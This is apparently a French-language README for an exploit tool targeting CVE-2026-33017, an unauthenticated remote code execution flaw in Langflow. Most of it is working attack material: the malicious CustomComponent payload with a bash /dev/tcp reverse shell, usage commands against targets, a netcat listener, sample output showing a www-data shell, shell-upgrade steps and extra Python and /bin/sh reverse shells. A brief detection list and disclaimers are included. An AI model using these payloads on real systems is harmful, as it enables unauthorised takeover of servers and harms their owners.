
Exploit pour CVE-2026-33017, une RCE non authentifiée dans Langflow, permettant un reverse shell via une charge utile CustomComponent malveillante.
CVE-2026-33017 est une vulnérabilité d'exécution de code à distance (RCE) non authentifiée dans les versions de Langflow <= 1.8.2. La vulnérabilité existe dans le point de terminaison /api/v1/build_public_tmp/{flow_id}/flow, qui manque d'authentification appropriée et permet aux attaquants d'exécuter du code Python arbitraire pendant le processus de compilation du graphe.
Cet exploit est destiné uniquement à des fins éducatives et de test autorisé. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
| Version | Statut |
|---|
| <= 1.8.2 | Vulnérable |
| 1.9.0 | Corrigée |
La vulnérabilité provient de la fonction prepare_global_scope() dans validate.py, qui appelle exec() sur le code de chaque nœud CustomComponent sans sandboxing approprié. Lorsqu'un composant est chargé/compilé, tout code Python au niveau du module (en dehors des définitions de classe) est exécuté immédiatement.
POST /api/v1/build_public_tmp/{flow_id}/flow
Caractéristiques :
Attaquant POST → build_public_tmp → start_flow_build() → create_graph() →
Graph.from_payload() → add_nodes_and_edges() → initialize() →
_instantiate_components_in_vertices() → instantiate_component() →
eval_custom_component_code() → prepare_global_scope() →
exec(compiled_code) ← EXÉCUTION DE CODE ARBITRAIRE
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>
1. Shell inversé
# Démarrer l'écouteur
nc -lvnp 4444
# Exécuter l'exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
2. Utilisation des options courtes
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
3. Test local
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
4. Délai d'attente personnalisé
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
| Argument | Court | Requis | Description |
|---|---|---|---|
--url | -u | Oui | URL cible (ex. : https://target.langflow.com) |
--flow-id | -f | Oui | ID de flux (UUID) du flux public |
--lhost | -lh | Oui | Adresse IP de l'écouteur pour le shell inversé |
--lport | -lp | Oui | Port de l'écouteur pour le shell inversé |
--timeout | -t | Non | Délai d'attente HTTP en secondes (défaut : 15) |
L'exploit envoie un nœud CustomComponent malveillant qui exécute du code au niveau du module :
import os
# Ceci s'exécute immédiatement pendant le chargement du composant
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})
1. L'attaquant envoie une requête POST à /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow reçoit le CustomComponent malveillant
3. prepare_global_scope() appelle exec() sur le code du composant
4. Le code au niveau du module s'exécute immédiatement
├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. Le shell inversé se connecte à l'écouteur de l'attaquant
6. La compilation du graphe continue (mais il est trop tard)
exec()exec() est appelé sans restrictionsdata est directement intégré$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
============================================================
CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================
[!] Assurez-vous que votre écouteur est en cours d'exécution :
nc -lvnp 4444
[+] URL cible : https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST : 10.10.16.171
[+] LPORT : 4444
[*] Envoi de la charge utile de l'exploit...
[+] Code de statut : 200
[+] Exploit envoyé avec succès !
[+] ID de tâche : abc123-def456-789ghi
[*] Vérifiez votre écouteur pour le shell inversé !
[*] nc -lvnp 4444
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
Une fois que vous avez un shell inversé :
# PTY Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ou utiliser script
script /dev/null -c bash
# Mettre en arrière-plan avec Ctrl+Z
# Puis exécuter :
stty raw -echo
fg
reset
export TERM=xterm
Modifiez le script pour exécuter des commandes arbitraires au lieu d'un shell inversé :
# Dans la fonction build_payload() :
return f"""import os
_x = os.system("{command}")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={{}})
"""
1. Shell inversé par socket Python
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
2. Shell inversé /bin/sh (si bash n'est pas disponible)
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")
/api/v1/build_public_tmp/*/flow sans authentificationCustomComponent suspect contenant os.system() ou subprocess/tmp/rce-proof ou /tmp/executed/build_public_tmpCustomComponentexec()| Date | Événement |
|---|---|
| Mars 2026 | Vulnérabilité découverte |
| 16 mars 2026 | Avis GitHub publié |
| Avril 2026 | Divulgation publique |
| Avril 2026 | Correctif publié (1.9.0) |
Ce projet est destiné uniquement à des fins éducatives. Utilisation à vos propres risques.
Ce logiciel est fourni à des fins éducatives et de test de sécurité autorisé uniquement. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel. Les utilisateurs sont seuls responsables du respect de toutes les lois et réglementations applicables.
Fait avec 🖤 pour la recherche en sécurité